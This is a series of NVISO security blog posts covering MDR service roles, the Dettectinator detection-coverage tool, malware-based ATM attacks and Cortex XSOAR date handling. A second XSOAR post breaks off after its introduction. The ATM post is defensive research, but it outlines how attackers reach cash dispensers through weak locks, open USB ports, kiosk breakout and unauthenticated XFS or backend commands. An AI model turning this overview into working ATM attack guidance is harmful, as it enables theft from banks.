The Service Delivery Manager (SDM) plays a key role in the delivery of our NVISO cybersecurity NITRO Managed Detect & Respond (MDR) services. As the main point of contact, we represent the client at NVISO and represent NVISO at the client. During the operational lifecycle of a contract, my fellow SDMs and I are responsible for the quality of the cybersecurity services delivered and we ensure an efficient relationship and coordination between the customer and the various NVISO internal departments engaged in the delivery of these services.

NVISO’s NITRO Managed Detect & Respond Service

The NITRO Platform is at the heart of NVISO Managed Services’ offering. The platform is built to support Security Operations, integrating a variety of security technologies to enable efficient orchestration, automation, and response.

Overview of services provided within the NITRO Platform

As part of the NITRO Platform, NVISO has created an MDR service where we combine the latest technology with the best cyber security experts in Europe in order to respond to the many cyber challenges that enterprises encounter.

The automations, part of the NITRO platform, combined with the in-depth analysis from our security experts result in an effective and efficient MDR service providing our customers triaged incidents with clear actions and recommendations.

In addition, in case of any critical incidents that require an emergency response, our clients can request the intervention of NVISO’s 24/7 Cyber Security Incident Response Team (CSIRT). The CSIRT team can provide in-depth technical services and on-site crisis management support in order to handle any high-severity incidents.

More information on the MDR service provided by NVISO can be found here.

NVISO’s customer dedication and strong reputation

Our customers value NVISO for its client commitment and recognise our strong reputation on providing in-depth technical expertise. As a strongly client-facing role, my fellow SDMs and I build trustworthy relationships with our customers and we understand their business environment and unique requirements. We ensure all contractually agreed services are smoothly and seamlessly delivered and we ensure clients’ requests are handled in an efficient and timely manner.

For clients of the SDM service, we organise monthly and strategic quarterly service delivery meetings including, amongst other, a detailed status report of security events and incidents handled in the reporting period, an analysis of the SLAs (Service Level Agreements) and overall scope of service. We also discuss any open action items and provide an overview of new engineering features and developments.

Client Portal

Whilst an overview of events and cases is presented to the client on a monthly and quarterly basis, clients can also use the NITRO Client portal to obtain their MDR data in real time.

Clients can access the platform at any time and choose the timeframe that they prefer. They can then start navigating through their events and security cases, which are also visually represented through graphs and charts. 

Dashboard of the NVISO NITRO Client Portal

The platform was developed in-house by NVISO engineers, and it is continuously improved with new features.

The Service Delivery Manager makes a difference in the service

Having a Service Delivery Manager is a great advantage which has a positive impact on the service received by our customers. The SDM is responsible to drive service delivery and problem resolution,  she/he represents the client’s business, and ensures all is delivered on time and within scope. As a consequence, the clients feel confident that the service is provided at the highest quality standards and that their requests are being heard. For NVISO, client satisfaction is a priority. Therefore, we always strive to build out solid processes to ensure that satisfaction is as high as possible.

About the Author

Maria Rita Milanese
Maria Rita Milanese

Maria Rita Milanese is a Senior Cybersecurity Consultant working as Project Manager & Service Delivery Manager at NVISO in the CSIRT&SOC Department.

The Beauty of Being a Cybersecurity Project Manager for NVISO NITRO MDR

19 December 2022 at 08:00

All Project Managers might agree with this: working as a Project Manager is exciting as no two days are ever the same.

Just like a conductor of an orchestra leads all musicians to bring harmonic masterpieces to life, so does the cybersecurity Project Manager leading and coordinating the different stakeholders to bring a project to completion, while overseeing all aspects of it.

Within the Managed Detect and Respond (MDR) Service at NVISO, we, cybersecurity Project Managers, handle several unique projects at the same time, making sure that the onboarding of new clients and the services provided to them as well as to current ones are properly handled on time and within scope. Within our agile company, we implement cyber strategies to provide the best possible service to safeguard our clients from cyber-attacks.

In order to ensure that all deliverables are duly met on time and that risks are mitigated, we create a detailed project plan taking into consideration all the variables and the different teams of engineers and analysts from the client’s and NVISO’s side working on each project. 

Once the project scope has been clearly defined and agreed upon by all parties, we manage the project through all its phases, working closely with our colleagues. We plan the set of activities that need to be undertaken and the relative deadlines, we define priorities, requirements, and success criteria, assign specialist work and make sure that everything is being monitored and delivered as agreed. Similar to the conductor of the orchestra, we set the tempo and ensure that the different groups of instruments, the woodwinds, percussion, brass, strings, and keyboards, all work harmoniously together to deliver their best performance.

Working as a Project Manager is an art, and it requires strong skills. Most importantly a passion for cybersecurity and a client-oriented mindset. Good communication skills are key to the success of a project. Being able to clearly communicate to all different stakeholders and ensuring that the most technical parts of a cybersecurity project are fully understood by all parties is the basis of a good start and development of a project. 

Being able to properly plan and organise is another strong skill that cybersecurity Project Managers need to have. We work in a fast-paced environment, therefore having proper time management and task prioritization skills is essential, as well as ensuring that everything is prepared for the project initiation, building, and testing phases, up until the project closure and its transition to the ongoing service.

Sometimes, unforeseen events happen despite having carried out extensive preparation to mitigate risks. The ability to solve problems and manage conflicts within the team makes a huge difference in the success of a project and is a key skills that Project Managers need to have.

Cybersecurity is a dynamic and evolving sector, and we, cybersecurity Project Managers, have the privilege of being right at the centre of the action. We make projects come to life, and seeing the satisfaction of the clients for the results provided and the fulfilment of the colleagues for the great work done is what makes our job so worth it. 

NVISO provides a variety of services where a cybersecurity Project Manager plays a key role. More information on NVISO’s services can be found here.

Maria Rita Milanese
Maria Rita Milanese

Maria Rita Milanese is a Senior Cybersecurity Consultant working as Project Manager & Service Delivery Manager at NVISO in the CSIRT&SOC Department.

DeTT&CT: Automate your detection coverage with dettectinator

4 January 2023 at 08:08

Introduction

Last year, I published an article on mapping detection to the MITRE ATT&CK framework using DeTT&CT. In the article, we introduced DeTT&CT and explored its features and usage. If you missed it, you can find the article here.

Although, after writing that article, I encountered some challenges. For instance, I considered using DeTT&CT in a production environment but there were hundreds of existing detection rules to consider, and it would have been a tedious process to manually create the necessary YAML file for building a detection coverage layer. As a result, I decided not to use DeTT&CT and instead focused on increasing detection in other ways.
Fortunately, a new tool called Dettectinator has recently been released. Its purpose is to address these kinds of issues and make it easier to automate detection coverage.

In this article, we will explore Dettectinator, its features, and walk through the steps to automate the detection coverage for Sentinel Analytics rules and Elastic detection rules.

What is dettectinator

Dettectinator is a tool developed by Martijn Veken and Ruben Bouman of Sirius Security that enables the automation of DeTT&CT data source and technique administration YAML files needed to create visibility and detection layers in the ATT&CK Navigator. This tool can be integrated as a Python library within your security operations center (SOC) automation tools or used via the command line.

To use the Python library, install it with “pip install dettectinator” and import one of the following classes into your code:

  • DettectDataSourcesAdministration
  • DettectTechniquesAdministration

These classes allow you to programmatically edit DeTT&CT YAML files, including creating new data source and techniques administration files and modifying existing ones.

from dettectinator import DettectDataSourcesAdministration
from dettectinator import DettectTechniquesAdministration

# Open an existing YAML file:
dettect_ds = DettectDataSourcesAdministration('data_sources.yaml')

# Or create a new YAML file:
dettect_ds = DettectDataSourcesAdministration()

# Open an existing YAML file:
dettect = DettectTechniquesAdministration('techniques.yaml')

# Or create a new YAML file:
dettect = DettectTechniquesAdministration()

To run as a CLI tool:

$ python dettectinator.py

Please specify a valid data import plugin using the "-p" argument:
 - DatasourceCsv
 - DatasourceDefenderEndpoints
 - DatasourceExcel
 - DatasourceWindowsSecurityAuditing
 - DatasourceWindowsSysmon
 - TechniqueCsv
 - TechniqueDefenderAlerts
 - TechniqueDefenderIdentityRules
 - TechniqueElasticSecurityRules
 - TechniqueExcel
 - TechniqueSentinelAlertRules
 - TechniqueSigmaRules
 - TechniqueSplunkConfigSearches
 - TechniqueSuricataRules
 - TechniqueSuricataRulesSummarized
 - TechniqueTaniumSignals
$ python3 dettectinator.py -p TechniqueElasticSecurityRules -h

Plugin "TechniqueElasticSecurityRules" has been found.
usage: dettectinator.py [-h] [-c CONFIG] -p PLUGIN -a APPLICABLE_TO [-d {enterprise,ics,mobile}] [-i INPUT_FILE] [-o OUTPUT_FILE] [-n NAME] [-s STIX_LOCATION] [-ch] [-cl] [-ri RE_INCLUDE] [-re RE_EXCLUDE]
                        [-l LOCATION_PREFIX] [-clp] --host HOST --user USER --password PASSWORD [--filter FILTER]

Dettectinator provides a range of plugins for various detection systems and data source platforms, and you can even create custom plugins to suit your specific workflow. Some of the available plugins for detection include:

  • Microsoft Sentinel: Analytics Rules (API)
  • Microsoft Defender: Alerts (API)
  • Microsoft Defender for Identity: Detection Rules (loaded from MS Github)
  • Tanium: Signals (API)
  • Elastic Security: Rules (API)
  • Suricata: rules (file)
  • Suricata: rules summarized (file)
  • Sigma: rules (folder with YAML files)
  • Splunk: saved searches config (file)
  • CSV: any csv with detections and ATT&CK technique ID’s (file)
  • Excel: any Excel file with detections and ATT&CK technique ID’s (file)

Plugins for data sources include:

  • Defender for Endpoints: tables available in Advanced Hunting (based on OSSEM)
  • Windows Sysmon: event logging based on Sysmon (based on OSSEM and your Sysmon config file)
  • Sentinel Window Security Auditing: event logging (based on OSSEM and EventID’s found in your logging)
  • CSV: any csv with ATT&CK data sources and products (file)
  • Excel: any Excel file with ATT&CK data sources and products (file)

It’s easy to create your own Dettectinator plugins or edit the ones provided to cover additional scenarios. An instruction on how to create your own plugins can be found here.

Dettectinator can be seamlessly integrated into your detection engineering workflow, as illustrated in the picture below. Steps 1 and 3 can be automated using version control system (VCS) pipelines or scheduling. The analyst can enhance the techniques identified by Dettectinator by assigning appropriate scores, resulting in an enriched YAML file that can be used in future runs of the tool.

Dettectinator workflow
Figure 1: Dettectinator workflow

How to use dettectinator

To illustrate how to use Dettectinator from a production environment, we will walk through the steps to build your coverage from Elastic Security detection rules and Microsoft Sentinel analytics rules.

Let’s start with Elastic Security. As shown in the picture below, we enabled the built-in detection rules from Elastic which represent 724 rules in total.

Elastic Security detection rules
Figure 2: Elastic Security detection rules

Ensure that the Elastic user has the appropriate permissions to manage/read the detection rules. Refer to the Elastic documentation for more information.

In our testing environment, we created a dedicated user and assigned it a custom role (as shown in the highlighted parameters):

Elastic detection permissions role
Figure 3: Elastic detection permissions role

With the command below, we will generate the technique administration YAML file which we will use to create the ATT&CK Navigator layer:

$ python3 dettectinator.py -p TechniqueElasticSecurityRules -a Windows -d enterprise -o elasticrules_techniques.yaml –host “<URL>:<Port>” --user <username> --password <password>  
  • -p: specify the plugin
  • -a: Systems that the detections are applicable to (comma separated list)
  • -d: ATT&CK domain to use {enterprise, ics, mobile} (default = enterprise)
  • -o: YAML filename for output
  • –host: Elastic Security host
  • –user: Elastic Security username
  • –password: Elastic Security user’s password
Dettectinator Elastic Security Rules plugin
Figure 4: Dettectinator Elastic Security Rules plugin

Using the DeTT&CT Editor, we were able to modify the technique administration YAML file. Alternatively, we could use the output to generate a detection ATT&CK Navigator layer through the DeTT&CT Command Line Interface (CLI).

DeTT&CT Editor
Figure 5: DeTT&CT Editor

To generate the detection layer, we used the following command:

$ python3 dettect.py d -ft <YAML file generated by dettectinator> -l
  • d: detection coverage mapping based on techniques
  • -ft: path of the technique administration YAML file
  • -l: generate a data source layer for the ATT&CK Navigator

The tool dettect.py generated a JSON file that can be opened within ATT&CK Navigator.

In this case, we get a quick overview of the built-in Elastic Security detection rules. All techniques are assigned a default score of ‘1’ by dettectinator. This scoring can be customized using the DeTT&CT Editor.

Detection coverage layer
Figure 6: Detection coverage layer

When hovering over the ATT&CK techniques and sub-techniques, additional information such as related detection rules and comments generated by dettectinator will appear.

Here is an example for the technique Lateral Tool Transfer (T1570):

Detection layer - details
Figure 7: Detection layer – details

Now, let’s check the detection coverage from an existing Microsoft Sentinel environment with Analytics rules.  In our testing example, we created an “App Registration” in Azure and granted it the following permissions:

App Registration permissions
Figure 8: App Registration permissions

Since we are using delegated permissions, we also had to enable “Allow public client flows” in the Authentication settings for the App Registration.

To generate the technique administration YAML for Microsoft Sentinel, we used the following command:

$ python3 dettectinator.py -p TechniqueSentinelAlertRules -a Windows -o sentinel_techniques.yaml --subscription_id <subscription_id> --resource_group <resource group name> --workspace <workspace name> --tenant_id <tenant_id> --app_id <app_id>
Dettectinator - Microsoft Sentinel Techniques
Figure 9: Dettectinator – Microsoft Sentinel Techniques

Dettectinator generated a JSON file containing information about a single technique. As shown in the picture below, our test Microsoft Sentinel environment contains 5 analytics rules, but only one of them as a technique specified in the metadata. As a result, Dettectinator was able to map the analytic rules to only one technique (T1190).

Microsoft Sentinel Analytics Rules
Figure 10: Microsoft Sentinel Analytics Rules
Microsoft Sentinel detection coverage
Figure 11: Microsoft Sentinel detection coverage

Conclusion

Dettectinator is a highly efficient tool that can help you optimize your detection engineering processes. By automating certain tasks, it frees up your time and resources to focus on more complex, high-level tasks.

When used in conjunction with DeTT&CT, it provides a real-time overview of your current detection coverage, giving you a clear understanding of your strengths and areas for improvement. Additionally, Dettectinator comes equipped with a range of integrations that are suitable for a variety of environments, making it a versatile and efficient tool.

In addition to its automation capabilities, Dettectinator is also highly customizable. It allows you to tailor its functionality to meet the specific needs of your organization or project.

One of the key benefits of using Dettectinator is its ability to save users a considerable amount of time. It complements DeTT&CT by addressing some of the challenges that users may face, making it an invaluable addition to any detection engineering workflow. In short, if you’re looking to streamline your detection processes and improve your coverage, Dettectinator is an excellent tool to consider.

References

“Dettectinator”, https://github.com/siriussecurity/dettectinator

“Releasing Dettectinator”, https://www.siriussecurity.nl/blog/2022/11/03/releasing-dettectinator

“DeTT&CT : Mapping detection to MITRE ATT&CK”, https://blog.nviso.eu/2022/03/09/dettct-mapping-detection-to-mitre-attck/

“rabobank-cdc/DeTTECT: Detect Tactics, Techniques & Combat Threats”, https://github.com/rabobank-cdc/DeTTECT

“ATT&CK® Navigator“, https://mitre-attack.github.io/attack-navigator/

About the author

Renaud Frère
Renaud Frère

Renaud is an Incident Response Consultant within the CSIRT team at NVISO with a focus on digital forensics including mobile device forensics. He is also involved in various projects related to Threat Hunting, Detection Engineering and Threat Intelligence. Occasionally, Renaud likes to participate in DFIR CTFs and Netwars.

Malware-based attacks on ATMs – A summary

10 January 2023 at 08:00

Introduction

Today we will take a first look at malware-based attacks on ATMs in general, while future articles will go into more detail on the individual subtopics.

ATMs have been robbed by criminal gangs around the world for decades. A successful approach since ~ 20 years is the use of highly flammable gas, which is fed into the ATM safe and ignited during a robbery. For an attacker, this is an inexpensive way to get the cash, but it also leads to great publicity and thus risk of being caught by security authorities. In addition, more and more vending machines are being equipped with systems that ink the money as soon as the machine is physically breached.

Since the beginning of the 2010s, there has been a trend for more and more criminal gangs to switch to non-violent methods without explosives. We are talking about so-called physical malware attacks. Here, malicious software is brought onto the PC inside the ATM, for example, via a USB stick. This malware-based attack usually results in all cash inside the safe being ejected via the regular dispensing mechanism (cash-out attack). A successful attack would effectively put the malware in full command over the ATM thereby rendering it almost impossible to stop them.

Another aspect that cannot be ignored is that an infected ATM often enables attacks on other devices or services within the network. For example, for research and testing purposes, we were able to develop a malware that attacked all ATMs within the network from an infected device (initial ATM). The result was simultaneous cash withdrawal from all ATMs within the shared network. It was also interesting here that other devices such as a Raspberry Pi connected to the same network could achieve the same results as well.

Even though during the Covid pandemic in 2020 such malware-based attacks on ATMs decreased, a clear increase has been visible since the beginning of 2022. Malware to attack specific types of devices can be purchased today for about 1000USD within the darknet.

To protect against such attacks, it is necessary to prevent malware from being installed and executed. Through years of research and experience in real projects, we have been able to help ATM manufacturers and banks protect their devices from such attacks.

ATM Internals

Generally, an ATM consists of two components:

Safe

  • Includes:
    • Cash dispenser
    • Cassettes containing banknotes
  • Strongly protected by heavy locks and armored walls

Cabinet

  • Includes the computer connected to other devices:
    • Card reader
    • Pin pad
    • Touch screen
    • Network components
    • etc.
  • Mostly weakly protected from physical attack.
    • Unarmored: Door and walls are often made of thin plastic or sheet metal.Poor quality locks: locks are often no better than those on private mailboxes, which can be opened in seconds with a lockpick.
    • Often only one key for several ATMs is used.

The computer inside the cabinet usually runs on the Windows operating system, which in turn runs the application for legitimate use of the ATM. A user / bank customer should not be able to break out of this application (e.g. via the touchscreen) to access the underlying system. For this purpose, Windows generally runs in the so-called Kiosk mode, which limits the input options only to the necessary user functions within the application.

Input values within the user application via the touchscreen or pin pad, for example, are in turn processed by the software and then transmitted to other devices such as the cash dispenser via corresponding commands. This communication between the user application and internal devices takes place via the XFS standard (Extensions for Financial Services). This standard provides an interface (API) for the Windows Hardware Manager via which all applications can access it.

When the user initiates a transaction such as a cash withdrawal, the bank’s processing center is also contacted, which validates the transaction and ultimately transmits the confirmation for withdrawal. The connection between the ATM and the processing center is generally made via a cable, but occasionally also wirelessly (WiFi or GSM).

Overview ATM internals

Overview ATM

Vulnerabilities to ATM malware

In general, we classify ATM vulnerabilities regarding malware attacks into three categories. The combination of vulnerabilities from these categories allows an attacker to dispense all cash or attack other systems on the same network in many cases.

Insufficient physical security

The first step for malware-based attacks is usually to open the cabinet in order to interact with the integrated computer via a plugged-in keyboard or special USB stick. Here, we came into contact with recurring security vulnerabilities in various assessments:

  • The lock of the cabinet is insecure and can be opened with a lockpick within seconds.
  • The housing (door and walls) are made of thin plastic or sheet metal and can be destroyed with minor effort.
  • Locks from different ATMs can be opened with the same key. If an attacker obtains such a master key, they can often open all the ATMs in different branches.
  • The keys are not secure against copying. If an attacker obtains a key, it can be copied as often as desired.
  • Lack of security for e.g. USB interfaces. If an attacker succeeds in opening the cabinet, they will in almost all cases find unprotected (open) USB interfaces that allow interaction via keyboard.
Computer inside the cabinet with open USB port

Computer inside the cabinet with open USB ports

Insufficient configuration of the system and peripheral devices

It is often the case that the XFS standard for communication between OS and peripherals is configured very insecurely. There is often no authentication at all between the peripherals and the OS. An attacker with access to the computer could execute malware to communicate with the cash dispenser, and thus cash-out all available money. In summary, we found the following recurring security flaws in the system and device configurations:

  • Insufficient or even missing authentication between USB peripherals and the OS which would allow so called ATM black-box attacks.
  • Lack of communication encryption between OS and peripherals. An attacker can thus often read sensitive card data and transactions of the user.
  • Lack of hard disk encryption. An attacker can extract and read any hard disk content. In addition to various software that can be misused to further develop malware, we were also able to extract unencrypted videos and pictures of customers that were taken via the camera integrated in the ATM.
  • Inadequate protection of the kiosk mode. If an attacker manages to open the cabinet and plug in a keyboard, they can often break out of the banking application using special keyboard shortcuts and thus access the underlying Windows system. However, in some cases this is also possible via the touch screen of the machine without having to open the cabinet.
  • Boot from external storage media. ATMs are occasionally configured to boot from an attached storage medium such as a USB stick when they are restarted. If an attacker can boot into an alternative system in this way, hard disk contents can be completely extracted or even communicate directly with peripherals such as the cash dispenser.
  • Inadequate or missing application control configuration. Today’s malware or public enumeration tools are often executed via Powershell scripts or exe files. In many of our assessments, the case was that the execution of such software was insufficiently blocked or not blocked at all.
  • Weak or missing AV solutions. The installation and execution of tools and malware is not or often insufficiently detected because weak AV software are used for protection or these are not up to date.

ATM allows breaking out of the banking application using a connected keyboard, exposing that the current user has full administrative access.

Insufficient network security

An attacker with access to the ATM’s network interface (e.g. Ethernet) can attack other systems or services within the network. In one of our scenarios, it was even possible to dispense cash from all ATMs within the network. In general, such scenarios are based on the following vulnerabilities:

  • Lack of or insufficient network access control. An attacker who has been able to connect to the ATM network via Ethernet often has full authorization to communicate with other systems on the same network. In many cases, infiltration of other devices or even the Active Directory is possible.
  • Unencrypted communication to the backend. An attacker in a man-in-the-middle position between the processing center and the ATM can read sensitive transaction data, but also manipulate it to issue malformed funds.
  • Lack of or insufficient authentication to the exposed ATM network service. Often, own (spoofed) backend commands can be sent to the exposed ATM service to make it cash out.
Example - Bypassing outdated NAC (Network Access Control) with public tools

Example – Bypassing outdated NAC (Network Access Control) with public tools

Attack Scenarios

Due to the large number of possible vulnerabilities, individual malware-based attack scenarios often arise. The following figure shows general attack scenarios, which are also performed in our assessments.

Overview - Attack scenarios

Recommendations

In general, it is difficult to make all-encompassing recommendations for securing ATMs. Even in our current assessments, we are increasingly confronted with new and very individual security vulnerabilities. However, we can make general recommendations for securing ATMs against malware attacks, as some vulnerabilities are present on a regular basis:

  • The computer should be in the safe. Securing the computer in the safe would probably be the best possible protection against malware-based attacks. Unfortunately, we could not detect such a protection in any of our analyses so far.
  • If it is not possible to place the computer in the safe:
    • The cabinet housing and door should also be made of solid material. It should not be possible to open the lock of the cabinet using a lockpick. Generally, security locks or even digital locks with proper auditing possibilities should be used here. The cabinet of each ATM should only be able to be opened with an individual key.
    • Network devices such as switches should not be placed outside the ATM.
  • All communication between ATM and backend should be encrypted according to current standards.
  • All transactions between the ATM and the backend should be mutually authenticated for example using TLS mutual authentication.
  • All unused services exposed by the ATM should be turned off.
  • The firewall between the ATM and backend should be configured to allow remote access only to the service that is needed. All network services that are not needed should be turned off.
  • Remote access should follow strict password policies or even better: key-based authentication mechanisms.
  • Any communication between the OS and peripherals such as the cash dispenser should be encrypted. Here the ATM vendor can be consulted since it is usually a simple configuration that can be enabled.
  • The OS as well as used applications should be updated regularly including hotfixes.
  • It should not be possible to connect any peripheral (e.g. keyboard) to the computer and use it. One possibility would be to use local OS policies or third-party software to allow only explicit devices. However, one should be careful with such whitelisting, as the device IDs themselves can be spoofed.
  • The execution of scripts or other software should be limited as much as possible and be restricted to only what is necessary. One possibility would be the use of Windows Applocker.
  • Any software that is not needed (e.g. software used for development) should be removed.
  • Hard disks should be fully encrypted.
  • Access to the BIOS should be protected by e.g. setting a strong password.
  • A boot from the hard disk of the ATM should be forced. It should not be possible to access the boot menu without authentication. In addition make sure to enable measured boot.
  • AV solutions should be used and regularly updated. In general, we prefer the use of Windows Defender over third-party software.
  • Abnormal behavior or communication regarding network but also peripherals should be logged and alarms triggered.

Conclusion

Malware-based attacks that rely on physical access are becoming increasingly popular. Today, however, we can already see some security improvements in current assessments. However, our experience shows that the improvement within the last years is still insufficient. Many protections could still be circumvented to exploit initial vulnerabilities. This is usually not because manufacturers and banks deliberately avoid security precautions, but because the whole environment and its processes often do not allow simple security upgrades. Some examples are that to ensure proper network access control (NAC), all switches within all branches would have to be replaced, technical staff still needs an interface (e.g. USB) to perform administrative tasks on the ATM, etc.

In general, it turns out that criminal hacker gangs are always one step ahead and find ways to bypass current security measurements.

About the Author

Alexander Poth

Alexander is a senior security consultant at NVISO. He regularly performs a variety of assessments, including IoT and embedded devices, Web and Mobile applications.

Cortex XSOAR Tips & Tricks – Dealing with dates

25 January 2023 at 09:00
Cortex XSOAR Tricks Dealing with dates

Introduction

As an automation platform, Cortex XSOAR fetches data that represents events set at defined moments in time. That metadata is stored within Incidents, will be queried from various systems, and may undergo conversions as it is moves from machines to humans. With its various integrations, Cortex XSOAR ingests datetimes from sources that use different standards, yet manages to keep track of all of them.

Objectives

In this blog post, we will go over dates in Cortex XSOAR, showing where they are presented and used, as well as how they are stored and passed around.
We will present a real world use case for extracting the dates being passed to the elements of a dashboard. With that in mind, we will go deeper onto the technicalities of passing timeframes to widgets and present an object oriented approach to interpreting and converting those, ensuring that this becomes an easy process, even when using third party tools.
The codebase for this post is available on the NVISO Github Repository.

Dates in XSOAR

Let’s look at the use of dates in Cortex XSOAR throughout the GUI and let’s pay attention to the formats we encounter:
Within incident layout tabs, incident fields of type “date” are formatted in a human readable way.

Occurence, Creation, and Last update dates in the Timeline Information GUI widget of an XSOAR Incident.

However in the raw context of an Incident, we see the same dates but stored in the ISO 8601 format:

Multiple datetime fields in the Context GUI of an XSOAR Incident

The dates we can observe in the raw context are formatted to be machine readable, this is what Integrations, Automations, and Playbooks read.

The dates visible in the layout tab are rendered live from those in the context. Cortex XSOAR adapts this view depending on the preferred timezone of the current user, which is saved in it’s user profile. This explains the 1 hour difference between the raw dates and their human readable counterparts in our examples above.

Moving on to the dashboards page, we get a time picker to selectively view Incident and Indicator data restricted to a given period of time. In the next part, we will find out how this time frame is passed down to the underlying code generating the tables and graphs that make up the dashboard. For that purpose, we will build a new dashboard comprised of a single automation based Widget.

Date Range Selector of a XSOAR Dashboard, set to display information from the “Last 7 Days”

The dashboard date picker

We just saw that Dashboards introduce a date picker element, it lets you select both relative timeframes such as “Last 7 days” and explicit timeframes where you define two precise dates in time. To find out how this is effectively passed down, we will use an automation based widget and dump the parameters provided to this automation.

If you need help on creating an automation, please refer to the XSOAR documentation on automations.

Let’s create an automation with the following code, not forgetting to add a ‘widget‘ tag to it.

import json
demisto.results(json.dumps(demisto.args()))

The snippet above will print the arguments passed down to the automation.

To run our automation and get it’s output, we need to create a new dashboard and add a text element to it, it’s content will be populated by our automation. For help on creating a dashboard and automation based widgets, please refer to XSOAR – add a widget to a dashboard and XSOAR – creating a widget automation.

We start our reversing effort by using the dashboard with an explicit timeframe:

Dashboard outpout with the date range “19 Apr 2022 – 22 Apr 2022”

At first glance, we identify the two arguments that interest us, “to” and “from”, each containing an ISO 8601 string corresponding respectively to the lower and higher bounds of our selected timeframe.

When we use relative dates, we get still get ISO 8601 strings, However, the “to” argument now holds a default value pointing to January first of year 1.

Dashboard outpout with the date range “Last 6 months”

Finally, when we use the ‘All dates’ date picker, we get two of these arbitrary strings.

Dashboard outpout with the date range “All times”

The findings above can be understood as being a standard on passing dates and time frames, and we can assume that all builtin Cortex XSOAR content can handle it. However, this may not be the case for third party tools. To interface with the latter, and to create our own dashboard compatible content, we need a way to interpret these dashboard parameters.

Objectives redefinition

We have now identified how the dates that define the beginning and the end of a daterange are passed to the elements of a dashboard, after a user selects that date range in the web interface. This opens new capabilities, as we are now not bound anymore to dashboard elements builtin to Cortex XSOAR, but can start to imagine querying period relevant data in third party systems to visualize in our dashboard.

In a future post, we will use our findings to query Microsoft Sentinel for some Incident data, and display the results of that search in dashboards, as well as within incidents. However, a first hurdle will be that not every system we interact with will blindly accept the from and to fields that Cortex XSOAR passes on to us, especially if we get one of those special values. We will first have to come up with a software wrapper that will let us obtain date objects that we can more easily manipulate in Python.

A proposal for interpreting dates in XSOAR

To use the dates stored in our Cortex XSOAR Incidents, and to build our own automation based dashboard widgets, we have come up with an Object Oriented wrapper.
This wrapper introduces classes to describe both these explicit datetimes and their relative counterparts, as well as factories to craft these out of standard XSOAR parameters.

The following snippet describes the different classes:

from abc import ABC

class NitroDate(ABC):
    pass

class NitroRegularDate(NitroDate):
    def __init__(self, date: datetime = None):
        self.date = date

class NitroUnlimitedPastDate(NitroDate):
    pass

class NitroUnlimitedFutureDate(NitroDate):
    pass

class NitroUndefinedDate(NitroDate):
    pass

NitroDate is an empty parent class, with 4 child classes:

  • NitroRegularDate
  • NitroUnlimitedPastDate
  • NitroUnlimitedFutureDate
  • NitroUndefinedDate

NitroRegularDate represents an explicit date, and stores it as a datetime object.

NitroUnlimitedPastDate and NitroUnlimitedFutureDate are both representations of the special date January 1st year 1, but reflect the context they were mentioned in.

NitroUnlimitedPastDate represents that special value having been passed from a “from” argument, such as with the “Up to X days ago” time picker.

NitroUnlimitedFutureDate represents that special value having been passed from a “to” argument, such as with the “From x days ago” time picker.

Finally, NitroUndefinedDate represents either the special value when we cannot identify the argument it was passed from, or the fact that we could not properly parse a date given in input.

Now that we’ve defined the classes we will use to represent our datetimes, we need to build them, preferably from the data supplied by Cortex XSOAR.

from abc import ABC
from datetime import datetime, timezone
from enum import Enum
import dateutil

class NitroDateHint(Enum):
    Future = 1
    Past = 2
# an Enum used as a flag for functions that build NitroDates


class NitroDateFactory(ABC):
    """this class is a factory, as in it's able to generate NitroDates from a variety of initial arguments"""
    @classmethod
    def from_iso_8601_string(cls, arg: str = ""):
        """
        this function is able to create a NitroDate from an iso 8601 datestring
        :param arg: the iso 8601 string
        :type arg: str
        """
        try:
            date = dateutil.parser.isoparse(arg)
        except Exception as e:
            raise NitroDateParsingError from e
        return NitroRegularDate(date=date)

    @classmethod
    def from_regular_xsoar_date_range_arg(cls, arg: str = "", hint: NitroDateHint = None):
        """
        this function is able to create a NitroDate from a single argument passed by
        a xsoar GUI element and a Hint
        :param arg: the iso 8601 string or cheatlike string
        :type arg: str
        :param hint: a hint to know whether the date, if a predetermined value, should be interpreted as future or past
        :type hint: NitroDateHint
        """
        if arg == "0001-01-01T00:00:00Z":
            if hint is None:
                return NitroUndefinedDate()
            elif hint == NitroDateHint.Future:
                return NitroUnlimitedFutureDate()
            elif hint == NitroDateHint.Past:
                return NitroUnlimitedPastDate()
        else:
            return cls.from_iso_8601_string(arg=arg)

    @classmethod
    def from_regular_xsoar_date_range_args(cls, the_args: dict) -> (NitroDate, NitroDate):
        """
        this function is able to create NitroDates from the two arguments passed by
        a xsoar GUI element
        :param the_args: the args passed to the xsoar automation by the timepicker GUI element
        :type the_args: dict
        """
        ret = [NitroUndefinedDate(), NitroUndefinedDate()]
        if isinstance(the_args, dict):
            for word, i, hint in [("from", 0, NitroDateHint.Past), ("to", 1, NitroDateHint.Future)]:
                if isinstance(tmp := the_args.get(word, None), str):
                    nitro_date = cls.from_regular_xsoar_date_range_arg(arg=tmp, hint=hint)
                    # print(f"arg={tmp}, hint={hint}, date={nitro_date}")
                    if isinstance(nitro_date, NitroDate):
                        ret[i] = nitro_date
        return ret

The Factory presented above eases work during the development of a dashboard widget, by allowing to get two NitroDates with this simple call

FromDate, ToDate = NitroDateFactory.from_regular_xsoar_date_range_args(demisto.args())

The following screenshot demonstrates the use of this factory function and the type and value of it’s outputs when run against Cortex XSOAR data

Screenshot of PyCharm showcasing the use of from_regular_date_range_args

From there on, we can check the type of FromDate and ToDate and more easily build logic to query third party systems. At that stage, the wrapper correctly identifies the datetimes and timeframes, which it returns as standardized python objects, whether they were passed down in a function call or stored in an incident, and is able to detect errors in their formatting.

In a future post, we use this mechanism to query external APIs in a Cortex XSOAR dashboard.

References

NVISO Github Repository

ISO 8601

XSOAR documentation on automations

XSOAR – add a widget to a dashboard

XSOAR – creating a widget automation

About the author

Benjamin Danjoux

Benjamin is a senior engineer in NVISO’s SOAR engineering team.
As the SOAR engineering design lead, he is responsible for the overall architecture and organization of the automated workflows running on Palo Alto Cortex XSOAR, which enables the NVISO SOC analysts to detect attackers in customer environments.

Cortex XSOAR Tips & Tricks – Leveraging dynamic sections – text

10 February 2023 at 09:00
Cortex XSOAR Tips Tricks – Leveraging dynamic

Introduction

Cortex XSOAR is a security oriented automation platform, and one of the areas where it stands out is customization.

A recurring problem in a SOC (Security Operation Center) is data availability. As a SOC Analyst, doing a thorough analysis of a security incident requires having access to many pieces of information in order to acquire context on the events you are investigating. In a less mature SOC, this information is at best scattered in many tools, and at worst hardly available. This can be overcome by using multiple data sources to ingest contextual information into your Security Automation and Automated Response platform (SOAR). In turn, this allows you to provide a single pane of glass to the analysts which can then focus on meaningful work, and eliminate data collection from their daily tasks.

Objectives

